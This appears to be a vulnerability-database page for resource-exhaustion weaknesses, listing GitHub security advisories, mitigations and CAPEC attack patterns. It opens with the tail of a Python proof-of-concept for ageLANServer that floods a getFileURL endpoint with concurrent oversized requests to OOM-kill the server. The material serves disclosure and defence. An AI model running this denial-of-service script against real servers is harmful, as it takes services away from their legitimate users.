args.sni_host, session_baseline, args.baseline_names_count)\n rss_after_baseline = docker_exec_rss_kb(args.container)\n print(\"Response: %s\" % baseline_resp)\n print(\"Server RSS before/after (KB): %s / %s\" % (rss_before_baseline, rss_after_baseline))\n result[\"baseline\"] = {\n \"response\": baseline_resp,\n \"server_rss_kb_before\": rss_before_baseline,\n \"server_rss_kb_after\": rss_after_baseline,\n }\n\n print(\"\\n== Phase 3: single moderately large getFileURL request (names count=%d) ==\" % args.moderate_names_count)\n session_moderate = platform_login(args.host, args.port, args.sni_host, 7656119800000102, 0x02)\n rss_before_moderate = docker_exec_rss_kb(args.container)\n moderate_resp = send_get_file_url(args.host, args.port, args.sni_host, session_moderate, args.moderate_names_count)\n rss_after_moderate = docker_exec_rss_kb(args.container)\n print(\"Response: %s\" % moderate_resp)\n print(\"Server RSS before/after (KB): %s / %s\" % (rss_before_moderate, rss_after_moderate))\n amplification = None\n if rss_after_moderate is not None and rss_before_moderate is not None and moderate_resp.get(\"request_bytes\"):\n rss_growth_kb = rss_after_moderate - rss_before_moderate\n amplification = round((rss_growth_kb * 1024) / moderate_resp[\"request_bytes\"], 2)\n print(\"Memory amplification: %d KB RSS growth from a %d byte request (~%sx request size)\" % (\n rss_growth_kb, moderate_resp[\"request_bytes\"], amplification))\n result[\"moderate_amplification\"] = {\n \"response\": moderate_resp,\n \"server_rss_kb_before\": rss_before_moderate,\n \"server_rss_kb_after\": rss_after_moderate,\n \"amplification_ratio\": amplification,\n }\n\n if args.skip_crash_phase:\n print(json.dumps(result, indent=2))\n return 0\n\n print(\"\\n== Phase 4: concurrent oversized getFileURL requests against the memory-constrained container ==\")\n state_before = docker_inspect_state(args.container)\n print(\"Container state before attack: %s\" % state_before)\n result[\"container_state_before_attack\"] = state_before\n\n sessions = []\n for idx in range(args.attack_concurrency):\n sess = platform_login(args.host, args.port, args.sni_host, 7656119800000200 + idx, 0x10 + idx)\n sessions.append(sess)\n print(\"Obtained %d attacker sessions: %s\" % (len(sessions), sessions))\n\n attack_responses = []\n with concurrent.futures.ThreadPoolExecutor(max_workers=args.attack_concurrency) as pool:\n futures = [\n pool.submit(send_get_file_url, args.host, args.port, args.sni_host, sess, args.attack_names_count, 60)\n for sess in sessions\n ]\n for fut in concurrent.futures.as_completed(futures):\n attack_responses.append(fut.result())\n print(\"Attack request outcomes: %s\" % attack_responses)\n result[\"attack_responses\"] = attack_responses\n\n state_after = None\n for _ in range(15):\n time.sleep(1)\n state_after = docker_inspect_state(args.container)\n if state_after and state_after[\"status\"] != \"running\":\n break\n print(\"Container state after attack: %s\" % state_after)\n result[\"container_state_after_attack\"] = state_after\n\n oom_killed = bool(state_after and state_after.get(\"oom_killed\"))\n result[\"oom_killed\"] = oom_killed\n result[\"verdict\"] = \"VULNERABLE (container OOM-killed by attacker-controlled allocation)\" if oom_killed else \"NOT REPRODUCED (container survived)\"\n\n print(\"\\n== Result ==\")\n print(json.dumps(result, indent=2))\n return 0 if oom_killed else 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-4jfq-pmq9-257h",
"modified": "2026-10-09T20:44:54Z",
"published": "2026-10-09T20:44:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/luskaner/ageLANServer/security/advisories/GHSA-4jfq-pmq9-257h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107839"
},
{
"type": "WEB",
"url": "https://github.com/luskaner/ageLANServer/commit/1dd40166a59356865c0a4b1800f32d05dc8bec79"
},
{
"type": "PACKAGE",
"url": "https://github.com/luskaner/ageLANServer"
},
{
"type": "WEB",
"url": "https://github.com/luskaner/ageLANServer/releases/tag/v1.15.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service"
}
GHSA-4JMV-JVRV-QCV7
Vulnerability from github – Published: 2023-11-15 00:31 – Updated: 2024-09-27 21:31Uncontrolled resource consumption in Zoom Team Chat for Zoom Desktop Client for Windows and Zoom VDI Client may allow an unauthenticated user to conduct a disclosure of information via network access.
{
"affected": [],
"aliases": [
"CVE-2023-39203"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-14T23:15:08Z",
"severity": "MODERATE"
},
"details": "Uncontrolled resource consumption in Zoom Team Chat for Zoom Desktop Client for Windows and Zoom VDI Client may allow an unauthenticated user to conduct a disclosure of information via network access.",
"id": "GHSA-4jmv-jvrv-qcv7",
"modified": "2024-09-27T21:31:45Z",
"published": "2023-11-15T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39203"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4JX7-9647-HPX8
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-07-13 00:01A restricted shell escape sequence is possible on Cradlepoint IBR900-600 7.2.60 devices that can lead to an attacker denying the availability of all console or SSH command-line access.
{
"affected": [],
"aliases": [
"CVE-2021-37471"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-07T16:15:00Z",
"severity": "HIGH"
},
"details": "A restricted shell escape sequence is possible on Cradlepoint IBR900-600 7.2.60 devices that can lead to an attacker denying the availability of all console or SSH command-line access.",
"id": "GHSA-4jx7-9647-hpx8",
"modified": "2022-07-13T00:01:34Z",
"published": "2022-05-24T19:19:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37471"
},
{
"type": "WEB",
"url": "https://cradlepoint.com/product/endpoints/ibr900"
},
{
"type": "WEB",
"url": "https://securitybytes.me/posts/cve-2021-37471"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M27-PQHX-2RFV
Vulnerability from github – Published: 2026-02-26 21:31 – Updated: 2026-02-26 21:31Uncontrolled Resource Consumption (CWE-400) in the Timelion component in Kibana can lead Denial of Service via Input Data Manipulation (CAPEC-153)
{
"affected": [],
"aliases": [
"CVE-2026-26937"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-26T19:32:39Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Resource Consumption (CWE-400) in the Timelion component in Kibana can lead Denial of Service via Input Data Manipulation (CAPEC-153)",
"id": "GHSA-4m27-pqhx-2rfv",
"modified": "2026-02-26T21:31:31Z",
"published": "2026-02-26T21:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26937"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-11-9-2-5-security-update-esa-2026-15/385251"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M35-V3C2-29X8
Vulnerability from github – Published: 2026-01-13 15:37 – Updated: 2026-01-15 12:30Denial-of-service in the DOM: Service Workers component. This vulnerability affects Firefox < 147.
{
"affected": [],
"aliases": [
"CVE-2026-0889"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T14:16:39Z",
"severity": "HIGH"
},
"details": "Denial-of-service in the DOM: Service Workers component. This vulnerability affects Firefox \u003c 147.",
"id": "GHSA-4m35-v3c2-29x8",
"modified": "2026-01-15T12:30:26Z",
"published": "2026-01-13T15:37:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0889"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1999084"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-01"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M5C-7V8F-8P2Q
Vulnerability from github – Published: 2024-02-06 00:30 – Updated: 2024-02-06 00:30An uncontrolled resource consumption vulnerability issue that could arise by sending crafted requests to a service to consume a large amount of memory, eventually resulting in the service being stopped and restarted was discovered in Western Digital My Cloud Home, My Cloud Home Duo, SanDisk ibi and Western Digital My Cloud OS 5 devices. This issue requires the attacker to already have root privileges in order to exploit this vulnerability. This issue affects My Cloud Home and My Cloud Home Duo: before 9.5.1-104; ibi: before 9.5.1-104; My Cloud OS 5: before 5.27.161.
{
"affected": [],
"aliases": [
"CVE-2023-22819"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-05T22:15:55Z",
"severity": "MODERATE"
},
"details": "An uncontrolled resource consumption vulnerability issue that could arise by sending crafted requests to a service to consume a large amount of memory, eventually resulting in the service being stopped and restarted was discovered in Western Digital My Cloud Home, My Cloud Home Duo, SanDisk ibi and Western Digital My Cloud OS 5 devices. This issue requires the attacker to already have root privileges in order to exploit this vulnerability. This issue affects My Cloud Home and My Cloud Home Duo: before 9.5.1-104; ibi: before 9.5.1-104; My Cloud OS 5: before 5.27.161.",
"id": "GHSA-4m5c-7v8f-8p2q",
"modified": "2024-02-06T00:30:25Z",
"published": "2024-02-06T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22819"
},
{
"type": "WEB",
"url": "https://www.westerndigital.com/support/product-security/wdc-24001-western-digital-my-cloud-os-5-my-cloud-home-duo-and-sandisk-ibi-firmware-update"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MCP-5QPC-WGF8
Vulnerability from github – Published: 2023-12-20 12:30 – Updated: 2026-02-23 09:31A vulnerable API method in M-Files Server before 23.12.13195.0 allows for uncontrolled resource consumption. Authenticated attacker can exhaust server storage space to a point where the server can no longer serve requests.
{
"affected": [],
"aliases": [
"CVE-2023-6910"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-20T10:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerable API method in M-Files Server before 23.12.13195.0 allows for uncontrolled resource consumption. Authenticated attacker can exhaust server storage space to a point where the server can no longer serve requests.",
"id": "GHSA-4mcp-5qpc-wgf8",
"modified": "2026-02-23T09:31:18Z",
"published": "2023-12-20T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6910"
},
{
"type": "WEB",
"url": "https://empower.m-files.com/security-advisories/CVE-2023-6910"
},
{
"type": "WEB",
"url": "https://product.m-files.com/security-advisories/cve-2023-6910"
},
{
"type": "WEB",
"url": "https://www.m-files.com/about/trust-center/security-advisories/cve-2023-6910"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MCP-J554-P27J
Vulnerability from github – Published: 2022-05-17 02:31 – Updated: 2022-05-17 02:31The regex code in Webkit 2.4.11 allows remote attackers to cause a denial of service (memory consumption) as demonstrated in a large number of ($ (open parenthesis and dollar) followed by {-2,16} and a large number of +) (plus close parenthesis).
{
"affected": [],
"aliases": [
"CVE-2016-9643"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-07T16:59:00Z",
"severity": "HIGH"
},
"details": "The regex code in Webkit 2.4.11 allows remote attackers to cause a denial of service (memory consumption) as demonstrated in a large number of ($ (open parenthesis and dollar) followed by {-2,16} and a large number of +) (plus close parenthesis).",
"id": "GHSA-4mcp-j554-p27j",
"modified": "2022-05-17T02:31:09Z",
"published": "2022-05-17T02:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9643"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201706-15"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/11/26/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/11/26/5"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94559"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MFW-X7WQ-V7GW
Vulnerability from github – Published: 2022-06-03 00:00 – Updated: 2022-06-12 00:00Dell PowerStore contains an Uncontrolled Resource Consumption Vulnerability in PowerStore User Interface. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2022-22556"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-02T21:15:00Z",
"severity": "HIGH"
},
"details": "Dell PowerStore contains an Uncontrolled Resource Consumption Vulnerability in PowerStore User Interface. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to the Denial of Service.",
"id": "GHSA-4mfw-x7wq-v7gw",
"modified": "2022-06-12T00:00:47Z",
"published": "2022-06-03T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22556"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/000196367"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MX5-H7CQ-WHF6
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40IBM MQ Internet Pass-Thru 2.1 and 9.2 could allow a remote user to cause a denial of service by sending malformed MQ data requests which would consume all available resources. IBM X-Force ID: 188093.
{
"affected": [],
"aliases": [
"CVE-2020-4766"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-22T17:15:00Z",
"severity": "HIGH"
},
"details": "IBM MQ Internet Pass-Thru 2.1 and 9.2 could allow a remote user to cause a denial of service by sending malformed MQ data requests which would consume all available resources. IBM X-Force ID: 188093.",
"id": "GHSA-4mx5-h7cq-whf6",
"modified": "2022-05-24T17:40:03Z",
"published": "2022-05-24T17:40:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4766"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/188903"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6406254"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.